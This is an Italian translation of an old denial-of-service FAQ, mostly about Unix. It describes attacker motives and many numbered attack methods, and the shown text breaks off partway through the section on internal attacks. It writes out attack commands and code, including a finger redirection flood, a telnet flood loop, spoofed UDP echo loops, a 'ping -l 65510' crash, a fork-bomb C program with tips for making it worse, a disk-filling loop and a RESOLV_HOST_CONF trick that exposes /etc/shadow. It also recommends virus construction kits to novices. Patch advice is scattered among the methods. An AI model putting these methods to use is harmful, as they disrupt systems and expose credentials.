    .A.3. ALCUNI SISTEMI OPERATIVI SONO PIù SICURI?

.B. ALCUNI OBBIETTIVI DI BASE PER UN ATTACCO
    .B.1. SPAZIO SWAP
    .B.2. FREQUENZA
    .B.3. TAVOLE DEL KERNEL
    .B.4. RAM
    .B.5. DISCHI
    .B.6. CACHE
    .B.7. INETD

.C. ATTACCARE DALL'ESTERNO
    .C.1. AVERE PROFITTO CON IL FINGER
    .C.2. UDP E SUNOS 4.1.3.
    .C.3. BLOCCARE X-WINDOWS
    .C.4. USO MALIZIOSO DEI SERVIZI UDP
        .C.5. ATTACCARE CON I CLIENTS LYNX
    .C.6. USO MALIZIOSO DI telnet
    .C.7. USO MALIZIOSO DI telnet SU SOLARIS 2.4
    .C.8. COME DISABILITARE GLI ACCOUNTS
    .C.9. LINUX E TCP TIME, DAYTIME
    .C.10. COME DISABILITARE I SERVIZI
    .C.11. PARAGON OS BETA R1.4
    .C.12. FTP DI NOVELLS NETWARE
    .C.13. ATTACCHI CON REINDIRIZZAMENTO DI ICMP
    .C.14. TEMPESTE DI BROADCAST
    .C.15. EMAIL BOMBING E SPAMMING
    .C.16. TIME E KERBEROS 
    .C.17. IL BUG DOT DOT
    .C.18. SUNOS KERNEL PANIC
    .C.19. APPLESTS OSTILI
    .C.20. VIRUS
    .C.21. ABUSO DI FTP ANONIMO
    .C.22. SYN FLOOD
    .C.23. PING FLOOD
    .C.24. MANDARE IN CRASH I SISTEMI CON IL PING DI WINDOWS 95
    .C.25. USO MALIZIOSO DEL MESSAGGIO DI RISPOSTA DELLE SUBNET MASK
    .C.26. FLEXlm
    .C.27. PARTIRE CON FTP BANALI

.D. ATTACCARE DALL'INTERNO
    .D.1. KERNEL PANIC SOTTO SOLARIS 2.3
    .D.2. BLOCCARE IL SERVER X
    .D.3. RIEMPIRE L'HARD DISK
    .D.4. USO MALIZIOSO DI eval
    .D.5. USO MALIZIOSO DI fork()
    .D.6. CREARE FILES CHE SONO DIFFICILI DA RIMUOVERE
    .D.7. DIRECTORY NAME LOOKUPCACHE
    .D.8. ATTACCO CSH
    .D.9. CREARE FILES IN /tmp
    .D.10. USARE RESOLV_HOST_CONF
    .D.11. SUN 4.X E LAVORI NASCOSTI
    .D.12. MANDARE IN CRASH DG/UX CON ULIMIT
    .D.13. NETTUNE E HP-UX
    .D.14. SOLARIS 2.X E NFS
    .D.15. STABILITà DEL SISTEMA COMPROMESSA CON MOUNT_UNION
    .D.16. trap_mon CAUSA IL KERNEL PANIC SOTTO SUNOS 4.1.X

.E. DUMPING CORE
    .E.1. BREVE COMMENTO
    .E.2. USO MALIZIOSO DI NETSCAPE
    .E.3. CORE DUMPED SOTTO WUFTPD
    .E.4. ld SOTTO SOLARIS/X86

.F. COME PROTEGGO UN SISTEMA DAGLI ATTACCHI DENIAL OF SERVICE?
    .F.1. PROTEZIONI DI BASE
        .F.1.1. INTRODUZIONE
        .F.1.2. PORT SCANNING
        .F.1.3. CONTROLLA GLI ATTACCHI DALL'ESTERNO DESCRITTI
        .F.1.4. CONTROLLA GLI ATTACCHI DALL'INTERNO DESCRITTI
        .F.1.5. SISTEMI DI MASSIMA SICUREZZA
        .F.1.6. CONTROLLARE LA SICUREZZA
        .F.1.7. MANTENERE AGGIORNATO
        .F.1.8. LEGGERE QUALCOSA DI MEGLIO
    .F.2. CONTROLLARE LE PRESTAZIONI
        .F.2.1. INTRODUZIONE
        .F.2.2. COMANDI E SERVIZI
        .F.2.3. PROGRAMMI
        .F.2.4. RESOCONTI

.G. LETTURE SUGGERITE
    .G.1. INFORMAZIONI PER CONOSCENZE PIù PROFONDE
    .G.2. INFORMAZIONI SUGLI AGGIORNAMENTI
    .G.3. INFORMAZIONI DI BASE

.H. COPYRIGHT

.I. DISCLAIMER

.0. PREFAZIONE
------------

In questo documento ho cercato di rispondere alle seguenti domande:

    - Cos'è un attacco denial of service?
    - Perchè qualcuno dovrebbe mandare in crash un sistema?
    - Come si manda in crash un sistema?
    - Come proteggo un sistema da un attacco denial of service?
   
C'è anche una sezione chiamata LETTURE SUGGERITE dove puoi trovare
suggerimenti su informazioni gratuite che ti potrebbero fornire una
conoscenza più dettagliata su qualcosa.

Ricorda che ho un'esperienza limitata con Macintosh, OS/2 e Windows
e la maggior parte del materiale è quindi per Unix.

Puoi trovare sempre le versioni più aggiornate al seguente indirizzo:
http://www.student.tdb.uu.se/~t95hhu/secure/denial/DENIAL.TXT
[NdT logicamente i testi sono in inglese]

Per commenti, suggerimenti e altro a:
t95hhu@student.tdb.uu.se

.A. INTRODUZIONE
~~~~~~~~~~~~~~~~

.A.1. COS'è UN ATTACCO DENIAL OF SERVICE
----------------------------------------

Denial of service quando si mettono fuori uso i servizi, per
esempio attraverso il crash dell'intero sistema. Questi tipi
di attacchi sono semplici da eseguire ed è difficile proteggere
un sistema contro di essi. Il problema di base è che Unix
presume che gli utenti sul sistema o su altri sistemi sanno
come comportarsi.

.A.2. PERCHè QUALCUNO DOVREBBE MANDARE IN CRASH UN SISTEMA?
-----------------------------------------------------------

.A.2.1. INTRODUZIONE
--------------------

Perchè qualcuno dovrebbe mandare in crash un sistema? Ci sono molti
motivi e ho presentato essi in maniera più specifica in una sezione
per ogni motivo, ma in sintesi:

    .1. Introduzione
    .2. Stato sottoculturale
    .3. Per guadagnare l'accesso
    .4. Vendetta
    .5. Ragioni politiche
    .6. Ragioni economiche
    .7. Cattiveria

Penso che il primo e il sesto sono i più comuni oggi, ma che il quarto
e il quinto saranno i più comuni in futuro.

.A.2.2. STATO SOTTOCULTURALE
----------------------------

Dopo tutte le informazioni sul syn flood molti di tali attacchi
erano eseguiti dalla Svezia. La stragrande maggioranza di questi
attacchi non erano una parte di un attacco IP-spoof, erano "solo"
un attacco denial of service. Perchè?

Penso che gli hackers attaccano i sistemi per una pseudo-carriera
sottoculturale e penso che molti attacchi denial of service, e quì
nell'esempio il syn flood, erano eseguiti per questo motivo. Penso
anche che molti hackers cominciano la loro carriera con attacchi
denial of service.

.A.2.3. PER GUADAGNARE L'ACCESSO
--------------------------------

A volte un attacco denial of service potrebbe essere una parte di un
attacco per guadagnare l'accesso in un sistema. Al momento posso
pensare questo motivo e specificare i metodi:

    .1. Qualche vecchia versione di x-lock potrebbe essere mandata
    in crach con un metodo preso dalla famiglia dei denial of service
    lasciando il sistema aperto. L'accesso fisico era necessario per
    usare lo spazio di lavoro.

    .2. Syn flood potrebbe essere una parte di un attacco IP-spoof.

    .3. Alcuni programmi di sistema potrebbero avere buchi all'avvio,
    che potrebbero essere usati per avere l'accesso root, per esempio
    SSH (secure shell).

    .4. Sotto un attacco potrebbe essere utile mandare in crash altre
    macchine nella rete o negare ad alcune persone l'abilità di accedere
    al sistema.

    .5. Inoltre un sistema potrebbe essere avviato a volte in modo
    sovvertito, specialmente nei rarp-boots. Se sappiamo quale porta
    controlla il sistema (69 potrebbe essere un buon indizio) all'
    avvio possiamo mandare falsi pacchetti e controllare quasi
    totalmente l'avvio.

.A.2.4. VENDETTA
----------------

Un attacco denial of service potrebbe essere una parte di una vendetta
contro un utente o un amministratore.

.A.2.5. RAGIONI POLITICHE
-------------------------

Prima o poi vecchie e nuove organizzazioni capiranno il modo di
distruggere computer di sistemi e troveranno strumenti per farlo.

Per esempio immagina la Banca A che presta dei soldi alla Compagnia B
per costruire una fabbrica che minaccia l'ambiente. L'organizzazione C
L'organizzazione C quindi manda in crash il computer di sistema di A,
forse con l'aiuto di un impiegato. L'attacco potrebbe costare ad A una
grande quantità di denaro se il tempismo è giusto.

.A.2.6. RAGIONI ECONOMICHE
--------------------------

Immagina la piccola compagnia A che si muove in un mercato dominato
totalmente dalla compagnia B. I clienti di A e B fanno gli ordini dai
computers e dipendono pesantemente sull'orario che è stato effettuato (A
e B potrebbero essere compagnie di scambio). Se A e B non possono effettuare
l'ordine i clienti perdono tempo e cambiano compagnia.

Come parte di strategia di mercato A paga un esperto di computer per mandare
in crash i computers di B un numero di volte. Un anno dopo A è la compagnia
dominante.

.A.2.7. CATTIVERIA
------------------

Conosco una persona che trova una workstation dove l'utente si è dimenticato
di uscire. Questa persona si siede e scrive un programma che fa un kill -9 -1
a tempo indeterminato per almeno 30 minuti dopo il tempo di entrata e ha
piazzato una chiamata a un programma dal suo file di profilo. Questa è
cattiveria.

.A.3. ALCUNI SISTEMI OPERATIVI SONO PIù SICURI?
-----------------------------------------------

Questa è una domanda difficile a cui è difficile rispondere e non penso
che sarà data qualcosa per confrontare differenti piattaforme Unix.
Non puoi dire che un Unix è più sicuro di un altro contro i denial of
service, tutto dipende dall'amministratore.

Un confronto tra Windows 95 e NT da un lato e Unix e gli altri può
essere comunque interessante.

I sistemi Unix sono molto più complessi e hanno centinaia di programmi
integrati, servizi... Questo spesso apre molte vie per mandare in crash
il sistema dall'interno.

Nella normale rete Windows NT e 95 ci sono pochi modi per mandare in
crash il sistema. Comunque ci sono dei metodi che funzionano sempre.

Questo ci dice che non c'è una grande differenza tra Microsoft e Unix
per quanto riguarda gli attacchi dall'interno. Ma ci sono un paio di
punti:

    - Unix ha molti più strumenti e programmi per scoprire un
    attacco e controllare gli utenti. Per vedere cosa fa un
    utente in windows è molto difficile.

    - Gli amministratori medi di Unix probabilmente ha molta
    più esperienza degli amministratori medi di Microsoft.

Questi due punti ci dicono che Unix è più sicuro contro gli attacchi
denial of service dall'interno.

Un confronto tra Microsoft e Unix per quanto riguarda gli attacchi
dall'esterno è molto più difficile. Comunque vorrei dire che i sistemi
medi Microsoft su Internet è più sicuro contro gli attacchi dall'esterno,
perchè normalmente hanno molti meno servizi.

.B. ALCUNI OBIETTIVI DI BASE PER UN ATTACCO
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

.B.1. SPAZIO SWAP
-----------------

La maggior parte dei sistemi hanno molte centinaia di Mbytes
di spazio swap per le richieste di servizio dei clients. Lo
spazio swap è usato tipicamente per una paio di processi che
hanno breve vita. Lo spazio swap non sarà quasi mai molto
usato. Un denial of service potrebbe essere basato su un
metodo che cerca di riempire lo spazio swap.

.B.2. FREQUENZA
-----------

Se la frequenza è troppo alta la rete non sarà più utilizzabile. La
maggior parte degli attacchi denial of service influenzano la
frequenza in alcuni casi.

.B.3. TAVOLE DEL KERNEL
-----------------------

E' banale traboccare le tavole del kernel che causeranno
seri problemi al sistema. I sistemi con cache vuota e piccoli
buffers buoti sono particolarmente sensibili.

L'allocazione di memoria del kernlel è anche un obietivo che è
sensibile. Il kernel ha un limite di kernelmap, se il sistema
supera questo limite non può essere più allocata memoria del
kernel e si deve riavviare la macchina. La memoria del kernel non
è usata solo per la RAM, CPU, schermi, e così via, è anche usata
per processi ordinari. Questo significa che ogni sistema può
essere mandato in crash e con un cattivo (o in alcuni casi buono)
algoritmo abbastanza veloce.

Per Solaris 2.X è misurato e riportato con il comando sar quanta
memoria del kernel sta usando il sistema, ma per SunOS 4.X non c'è
quel comando. Ciò significa che sotto SunOS 4.X non avrai un avviso.
Se usi Solaris devi scrivere sar -k 1 per avere le informazioni.
netstat -k può essere usato e mostra quanta memoria il kernel ha
allocata.

.B.4. RAM
---------

Un attacco denial of service che alloca una grande quantità di RAM
può causare una grande quantità di problemi. I servers NFS e di posta
sono attualmente estremamente sensibili perchè non hanno bisogno di
molta RAM e spesso non hanno molta RAM. Un attacco a un server NFS è
banale. Il normale client NFS farà una grande quantità di caching,
ma un clent NFS può includere comunque il programma che hai scritto
tu...

.B.5. DISCHI
------------

Un attacco classico è riempire l'hard disk, ma un attacco ai dischi
può fare molto di più. Per esempio un disco sovraccaricato può essere
manomesso in molti modi.

.B.6. CACHE
------------

Un attacco denial of service che coinvolge la cache può essere basato
su un metodo per bloccare la cache o per annullarla.

Queste cache sono trovte su Solaris 2.X:

Directory name lookup cache: Associa il nome di un file con un vnode.

Inode cache: Deposita le informazioni lette da un disco se sono ancora
necessarie.

Rnode cache: Raccoglie informazioni sul filsystem NFS.

Buffer cache: Collega i blocchi e i cilindri con il disco I/O.

.B.7. INETD
-----------

Una volta che inetd è andato in crash tutti gli altri servizi che
sono eseguiti attraverso inetd non funzioneranno più.


.C. ATTACCARE DALL'ESTERNO
~~~~~~~~~~~~~~~~~~~~~~~~~~

.C.1. AVERE PROFITTO CON IL FINGER
----------------------------------
La maggior parte delle installazioni del fingerd supportano i
reindirizzamenti agli altri gost.

Es:

    $finger @system.two.com@system.one.com

il finger nell'esempio andrà attraverso system.one.com a system.two.com.
Così system.two.com sa che è system.one.com che fa il finger. Così
questo metodo può essere usato per nascondersi, ma anche per
un attacco denial of service. Guarda quì:

    $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack

Tutti quei segni @ faranno un finger a host.we.attack una, due, tre
... volte. L'effetto su host.we.attack è potente e il risultato è
grande frequenza, poca memoria libera e hard disk con poco spazio libero,
dovuto a tutti i processi figli (confronta con .D.5.).

La soluzione è installare un fingerd che non supporta i reindirizzamenti,
per esempio GNU finger. Puoi anche eliminare il servizio finger, ma penso
che è un po' troppo.

.C.2. UDP E SUNOS 4.1.3.
------------------------

SunOS 4.1.3. si avvia se un pacchetto con un'informazione non corretta
nell'header è mandata ad esso. Questa è l causa se l'ip_options indica
una dimensione sbagliata del pacchetto.

La soluzione è di installare la patch appropriata.

.C.3. BLOCCARE UP X-WINDOWS
---------------------------

Se un host accetta una sessione telnet alla porta di X-Windows
(generalmente una porta tra 6000 e 6025. Nella maggior parte dei casi
6000) potrebbe essere usata per bloccare il sistema X-Windows. Questo
può essere fatto con molte connessioni telnet alla porta o con un
programma che manda molti XOpenDisplay() alla porta.

La stessa cosa può accadere a Motif o Open Windows.

La soluzione è di negare le connessioni alla porta X-Windows.

.C.4. USO MALIZIOSO DEI SERVIZI UDP
-----------------------------------

E' semplice avere i servizi UDP (echo, time, daytime, chargen) da
far andare in loop, a causa di banali IP-spoofing. L'effetto può
essere alta frequenza che causa l'inutilità della rete. Nell'esmpio
l'header richiede che il pacchetto viene da 127.0.0.1 (loopback) e
l'obiettivo è la porta echo di system.we.attack. Siccome
system.we.attack conosce 127.0.0.1 il collegamento è stato stabilito.

Es:

    from-IP=127.0.0.1
    to-IP=system.we.attack
    Packet type:UDP
    from UDP port 7
    to UDP port 7

Nota che il nome system.we.attack sembra un nome DNS, ma l'obiettivo
dovrebbe essere sempre rappresentato dall'IP.

Citazione dal commento di proberts@clark.net (Paul D. Robertson) su
comp.security.firewalls sul tema di "Introduzione ai denial of service"

    " Una grande quantità di sistemi non mettono loopback sulla rete,
    e semplicemente li emulano. Quindi, questo attacco avrà l'effetto
    desiderato sulla macchina solo in alcuni casi. E' molto meglio
    usare l'indirizzo di una differente macchina sulla stessa rete.
    Ancora, i servizi standard dovrebbero essere disabilitati in
    inetd.conf. Altri attacchi per stacks di IP che non supportano
    ICMP, il servizio echo non è usato da molti programmi, e TCP
    echo dovrebbe essere usato al posto di UDP dove è necessario ".

.C.5. ATTACCARE CON CLIENTS LYNX
--------------------------------

Un server Worold Wide Web inforcherà un processo httpd come una
risposta a una richiesta da un client, spesso Netscape o Mosaic.
Il processo dura meno din un secondo e il caricamento non sarà
mai mostrato se qualcuno usa ps. Nella maggior parte dei casi è
comunque sicuro eseguire un attacco denial of service che usa molti
clients W3, di solito clients lynx. Ma nota che il comando netstat
potrebbe essere usato per rintracciare l'attacco (grazie a Paul D.
Robertson).

Alcuni httpd (per esempio http-gw) hanno problemi normalmente con la
frequenza alta, poca memoria... E l'attacco può in quei casi far andare in
loop il server. (confronta con .C.6.)

.C.6. USO MALIZIOSO DI telnet
-----------------------------

Studia questo piccolo script:

    while : ; do
    telnet system.we.attack &
    done

Un attacco che usa questo script potrebbe mangiare della frequenza,
ma non ha niente a che vedere con il metodo finger o altri metodi.
Il punto è che alcuni comuni firewall e httpd pensano che l'attacco
è un loop e lo annullano, fino a che l'amministratore non manda un
kill -HUP.

Questa è una semplice vulnerabilità ada alto rischio che dovrebbe
essere controllata e se presente riparata.

.C.7. USO MALIZIOSO DI telnet SU SOLARIS 2.4
---------------------------------------------

Se l'attacco fa una connessione telnet all'host Solaris 2.4 e quit
si usa:

    Control-}
    quit

inetd lo terrà per sempre. Un paio di centinaia...

La soluzione è installare la patch appropriata.

.C.8. COME DISABILITARE GLI ACCOUNTS
------------------------------------

Alcuni sistemi disabilitano un account dopo alcune login sbaglite, o
aspettano alcuni secondi. Tu puoi usare questa funzione per cacciare
gli utenti dal sistema.

.C.9. LINUX E TCP TIME, DAYTIME
----------------------------------

Si sa che inetd sotto Linux va in crach se troppo pacchetti SYN sono
mandati a daytime (porta 13) e/o a time (porta 37).

La soluzione è installare la patch appropriata.

.C.10. COME DISABILITARE I SERVIZI
----------------------------------

La maggior parte dei sistemi Unix disabilitano i servizi dopo un certo
numero di sessioni aperte in un certo periodo di tempo. La maggior parte
dei sistemi hanno uno standard ragionevole (diciamo 800-1000), ma non
alcuni sistemi SunOS che hanno lo standard a 48...

La soluzione è settare il numero in qualcosa di ragionevole.

.C.11. PARAGON OS BETA R1.4
---------------------------

Se qualcuno reindirizza un pacchett ICMP (Internet Control Message Protocol)
a un paragon OS beta R1.4 la macchina si bloccherà e deve essere riavviata.
Un reindirizzo di ICMP dice al sistema di sostituire le tavole di routing.
I router usano questo per dire all'host che sta mandando il pacchetto a un
router sbagliato.

La soluzione è installare la patch appropriata.

.C.12. FTP DI NOVELLS NETWARE
-----------------------------

Il server FTP di Novells Netware è conosciuto poichè la memoria si riduce
se ci sono molte sessioni ftp connesse.

.C.13. ATTACCHI CON REINDIRIZZAMENTO DI ICMP
--------------------------------------------

Le Gateways usano il reindirizzamento di ICMP per dire al sistema di cambiare
le tavole di routing, cioè sta dicendo al sistema di prendere una via migliore.
Per manomettere il reindirizzo degli ICMP dobbiamo conoscere una connessione
esistente (ne possiamo creare una per noi stessi, ma non c'è molto utilizzo
per quella). Se abbiamo trovato una connessione noi possiamo mandare un flusso
che gli fa perdere la connessione o potremmo mandare falsi messaggio all'host
se la connesione che abbiamo trovato non cripta i pacchetti.

Es: (messaggio falso da mandare)

    DESTINATION UNREACHABLE
    TIME TO LIVE EXCEEDED
    PARAMETER PROBLEM
    PACKET TOO BIG

L'effetto di tale messaggio è il blocco della connessione.

La soluzione potrebbe essere disabilitare il reindirizzamento di ICMP, non
usato propriamente dal servizio.

.C.14. TEMPESTE DI BROADCAST
----------------------------

Questo è un metodo molto popolare nelle reti dove tutti gli host agiscono
come gateways.

Ci sono molte versioni dell'attacco, ma il metodo di base è mandare molti
pacchetti a tutti gli host nella rete con una destinazione che non esiste.
Ogni host cercherà di inoltrare ogni pacchetto così i pacchetti rimbalzeranno
per molto tempo. E se si aggiungono i nuovi pacchetti alla rete, la rete
sarà nei guai.

I servizi che possono essere manomessi e utilizzati in questo tipo di attacco
sono per esempio il ping, il finger e il sendmail. Ma possono essere manomessi
la maggior parte dei servizi in un modo o nell'altro.

.C.15. EMAIL BOMBING E SPAMMING
-------------------------------

In un attacco email bombing l'attaccante manderà ripetutamente identici messaggi
email a un indirizzo. L'effetto sull'obiettivo è alta frequenza, un hard disk con poco
spazio e così via... L'email spamming è quando si mandano delle mail a tutti (o
quasi) gli utenti del sistema. Il motivo per il quale si usa lo spamming al posto
del bombing è che alcuni utenti cercano di mandare una risposta e se l'indirizzo
è falso, la mail tornerà indietro. In quel caso una mail si è trasformata in tre
mail. L'effetto sulla frequenza è ovvio.

Non c'è modo di prevenire un email bombing o spamming. Comunque dai un'occhiata
al documento della CERT "Email bomginb and spamming".

.C.16. TIME E KERBEROS
----------------------

Se le macchine sorgente e obiettivo sono allineate da vicino il biglietto verrà
respinto, ciò significa che se il protocollo che setta il tempo è protetto sarà
possibile settare un server kerberos.

.C.17. IL BUG DOT DOT
---------------------

Il sistema di condivisione file di Windows NT è vulnerabile al famoso bug dot dot
sotto Windows 95. Ciò significa che chiunque può mandare in crash il sistema. Se
qualcuno manda un "DIR ..\" alla workstation un messaggio di STOP apparirà sullo
schermo del computer Windows NT. Nota che è applicabile alle versioni 3.50 e 3.51
per le versioni sia workstation che server.

La soluzione è installare la patch appropriata.

.C.18. KERNEL PANIC DEL SUNOS
-----------------------------

Alcuni sistemi SunOS (che eseguono TIS?) avranno un kernel panic se è mandato un
getsockopt(). La connessione così sarà interrotta.

La soluzione potrebbe essere installare la Sun Patch 100804.

.C.19. APPLETS OSTILI
---------------------

Una applet ostile è quando un applet cerca di usare il tuo sistema in un modo
inappropriato. I problemi nel linguaggio java potrebbero essere ordinati in due
grandi gruppi:

    1) Problemi dovuti ai bugs.
    2) Problemi dovuti a caratteristiche nel linguaggio.

Nel primo gruppo abbiamo per esempio il bug java bytecode verifier, che permette a
un'applet di eseguire tutti i comandi che un utente potrebbe eseguire. Ciò significa
che tutti i metodi di attacco descritti in .D.X. possono essere seguiti attraverso
un'applet. Il bug java bytecode verifier fu scoperto a fine Marzo 1996 e non ci sono
patch disponibili (correggetemi se sbaglio!).
[NdT siccome il documento è un po' vecchio, probabilmente ora esiste una patch per
questo bug]

Nota che due altri bugs possono essere inseriti nel primo gruppo ma sono entrambi
riparati in Netscape 2.01 e JDK 1.0.1.

Il gruppo due è più interessante e una grande problema è il fatto che java può
connettersi alle porte. Ciò significa che tutti i metodi descritti in .C.X. possono
essere eseguiti da un'applet. Maggiori informazioni ed esempio possono essere
trovati all'indirizzo:
   
    http://www.math.gatech.edu/~mladue/HostileArticle.html

Se hai bisogno di un maggior livello di sicurezza usa dei firewall che proteggono
da java. Come utente, dovresti aver disabilitato java.

.C.20. VIRUS
------------

I virus per il computer sono scritti allo scopo di distruggere e propagare i sistemi.
I virus sono ancora il metodo d'attacco denial of service più diffuso.

Non è vero che scrivere virus è difficile. Se conosci il linguaggio assembly e hai
alcuni codici sorgente di virus è facile. Si possono scaricare degli strumenti per la
costruzione di virus, per esempio:
   
    * Genvir.
    * VCS (Virus Construction Set).
    * VCL (Virus Construction Laboratory).
    * PS-MPC (Phalcon/Skism - Mass Produced Code Generator).
    * IVP (Instant Virus Production Kit).
    * G2 (G Squared).


PS-MPC e VCL sono i migliori e possono aiutare il programmatore novello a capire
come scrivere un virus.

Si può trovare anche uno strumento chiamato MtE. MtE trasformerà un virus in un
virus "mutevole". Il motore mutevole di MtE è noto e può essere rintracciato da
un antivirus.

.C.21. ABUSO DI FTP ANONIMO
---------------------------

Se un archivio FTP anonimo ha un'area scrivibile può essere manomesso per un attacco
denial of service simile a quello .D.3. Noi così possiamo riempire l'hard disk.

Un host inoltre può essere temporanemante inaccessibile a causa di eccessive
richieste FTP.

Pe maggiori informazioni su come proteggere un FTP anonimo, il documento della CERT
"Anonymous FTP Abuses" potrebbe essere un buon punto d'inizio.

.C.22. SYN FLOOD
----------------

Sia 2600 e Phrack hanno pubblicato informazioni sull'attacco syn flood. 2600 ha anche
pubblicato un exploit per l'attacco.

Come sappiamo il pacchetto syn è usato in un handshake di 3 fasi. L'attacco syn flood
è basato su un incompleto handshake. L'host che attacca manderà un flusso di pacchetti
syn ma non risponerà con un pacchetto ACK. Lo stack TCP/IP aspetterà un certo periodo
di tempo prima di interrompere la connessione, così un attacco syn flood manterrà quindi
la connessione tcp_received in coda della macchina colpita.

L'attacco syn flood è molto buono ed è facile trovare maggiori informazioni su di esso,
per esempio:

    [.1.] http://www.eecs.nwu.edu/~jmyers/bugtraq/1354.html
    Articolo di Christopher Klaus che include una "soluzione".
   
    [.2.] http://jya.com/floodd.txt
    2600, Estate, 1996, pp. 6-11. FLOOD WARNING di Jason Fairlane

    [.3.] http://www.fc.net/phrack/files/p48/p48-14.html
    IP-spoofing Demystified by daemon9 / route / infinity
         per Phrack Magazine

.C.23. PING FLOOD
-----------------

Non testato quanto può essere grande un attacco ping flood, ma potrebbe essere abbastanza
grande.

Sotto Unix possiamo trovare qualcosa come: ping -s host
per mandaer pacchetti di 64 bytes.

Se hai Windows 95, clicca sul pulsante Avvio, poi su Esegui e poi scrivi:
PING -T -L 256 xxx.xxx.xxx.xx. Eseguilo circa 15 volte contemporaneamente.

.C.24. MANDARE IN CRASH I SISTEMI CON IL PING DI WINDOWS 95
-----------------------------------------------------------

Se qualcuno può pingare la tua macchina da una macchina Windows 95 eglio può resettare o
bloccare la tua macchina. L'attaccante scrive semplicemente:

ping -l 65510 address.to.the.machine

E la macchina si bloccherà o si riavvierà.

Funziona con il kernel 2.0.7 fino alla versione 2.0.20 e 2.1.1 per Linux (crash).
AIX4, OSF, HPUX 10.1,DUnix 4.0 (crash).
OSF/1, 3.2C, Solaris 2.4 x86 (riavvio).

.C.25. USO MALIZIOSO DEL MESSAGGIO DI RISPOSTA DELLE SUBNET MASK
----------------------------------------------------------------

Il messaggio di riposta delle subnet mask è usato al riavvio, ma alcuni hosts
accettano il messaggio ogni volta senza controllare. In questo modo tutte le
comunicazioni a o dall'host sono interrotte.

L'host non dovrebbe accettare il messaggio sempre ma solo durante il riavvio.

.C.26. FLEXlm
-------------

Ogni host che esegue FLEXlm ha la FLEXlm license manager daemon su ogni rete
che per spegnere usano il comando FLEXlm lmdown.

# lmdown -c /etc/licence.dat
lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#

.C.27. PARTIRE CON FTP BANALI
-----------------------------

Per partire con workstation senza disco si usa un ftp banale con rarp o bootp.
Se un attaccante non è protetto può usare tftp per avviare l'host.

.D. ATTACCARE DALL'INTERNO
~~~~~~~~~~~~~~~~~~~~~~~~~~

.D.1. KERNEL PANIC SOTTO SOLARIS 2.3
------------------------------------

Solaris 2.3 avrà un kernel panic se è eseguito questo:
   
    $ndd /dev/udp udp_status

La soluzione è installare la patch appropriata.

.D.2. MANDARE IN CRASH IL SERVER X
----------------------------------

Se stickybit non è settato in /tmp, il file /tmp/.x11-unix/x0 può essere rimosso
e il server X andrà in crash.

Es:

    $ rm /tmp/.x11-unix/x0

.D.3. RIEMPIRE L'HARD DISK
--------------------------

Se lo spazio sul tuo hard disk non è limitato o se puoi usare /tmp è possibile
riempire il file system.

Es:

    while : ;
    mkdir .xxx
    cd .xxx
    done

.D.4. USO MALIZIOSO DI eval
---------------------------

Alcuni vecchi sistemi andranno in crash se è eseguito eval '\!\!' in una C-shell.

Es:

    % eval '\!\!'
   
.D.5. USO MALIZIOSO DI fork()
-----------------------------

Se qualcuno esegue questo programma C++ il risultato sarà il crash della maggior
parte dei sistemi.

Es:
   
    #include
    #include
    #include
   
    main()
    {
        int x;
        while(x=0;x<1000000;x++)
            {
                system("uptime");
                fork();
            }
    }

Puoi usare tutti i comandi che vuoi, ma uptime è bello perchè mostra il carico
di lavoro.

Per avere un attacco più grande e potente dovresti comunque rimpiazzare uptime
con sync. Questo è molto cattivo.

Se fai sul serio puoi instaurare un processo "figlio" per ogn processo "figlio" e
avremo un incremento del carico di lavoro.

Non ci sono buoni modi di fermare questo attacco e attacchi simili. Una soluzione
potrebbe essere piazzare un limite di tempo sull'esecuzione e dimensione dei processi.

.D.6. CREARE FILES CHE SONO DIFFICILI DA RIMUOVERE
--------------------------------------------------

Tutti i files possono essere rimossi, ma quì c'è qualche idea:

Es.1.

    $ cat > -xxx
    ^C
    $ ls
    -xxx
    $ rm -xxx
    rm: illegal option -- x
    rm: illegal option -- x
    rm: illegal option -- x
    usage: rm [-fiRr] file ...
    $

Es.2.

    $ touch xxx!
    $ rm xxx!
    rm: remove xxx! (yes/no)? y
    $ touch xxxxxxxxx!
    $ rm xxxxxxxxx!
    bash: !": event not found
    $

Altri metodi conosciuti sono files con caratteri dispari o spazi nel nome.

Questi metodi potrebbero essere usati in combinazione con ".D.3. RIEMPIRE L'
HARD DISK". Se vuoi rimuovere questi files devi usare degli script o un'interfaccia
grafica come il File Manager di OpenWindow. Puoi anche tentare di usare: rm ./.
Dovrebbe funzionare per il primo esempio se hai una shell.

.D.7. DIRECTORY NAME LOOKUPCACHE
--------------------------------

Directory name lookupcache (DNLC) è usato quando un file è aperto. DNLC associa
il nome del file a un vnode. Ma DNLC può solo operare su files i quali nomi sono
composti da un certo numero di caratteri (per SunOS 4.x fino a 14 caratteri, per
Solaris 2.x fino a 30 caratteri). Questo significa che è facile eseguire un discreto
attacco denial of service.

Crea diciamo 20 directory (per iniziare) e metti 10 files vuoti in ogni directory.
Fai sì che ogni nome di file abbia oltre i 30 caratteri ed esegui uno script che
fa molti ls-al nelle directory.

Se l'impatto non è grande abbastanza, dovresti creare più files o eseguire più
processi.

.D.8. ATTACCO CSH
-----------------

Esegui questo in /bin/csh (dopo le modifiche appropriate) e il livello di caricamento
salirà di molto (100% del tempo della cpu) in poco tempo.

    |I /bin/csh
    nodename : **************b

.D.9. CREARE FILES IN /tmp
--------------------------

Molti programmi creano files in /tmp, ma è difficile trattare del problema se
il file esiste già. In alcuni casi questo potrebbe essere usato per un attacco
denial of service.

.D.10. USARE RESOLV_HOST_CONF
-----------------------------

Alcuni sistemi hanno un piccolo buco di sicurezza nel modo in cui usano la variabile
RESOLV_HOST_CONF. Noi possiamo mettere delle cose in esso e attraverso l'accesso
ping avremo dei dati come /etc/shadow o potremo mandare in crash il sistema. La maggior
parte dei sistemi andranno in crash se c'è /proc/kcore nella variabile e accedendo
tramite ping.

Es:
   
    $ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

.D.11. SUN 4.X E LAVORI NASCOSTI
--------------------------------

Grazie a Mr David Honig per il documento seguente:

" Metti la stringa "a&" in un file chiamato "a" e esegui un "chomod +x a". Eseguendo
"a" disattiverai lentamente una macchina SunOS 4.x, disabilitando anche il login root
e riempiendo le tavole del kernel."

" La cosa bella è la dimensione dello script, e quante poche battute di tasti ci vogliono
per disattivare una macchina Sun come utente".

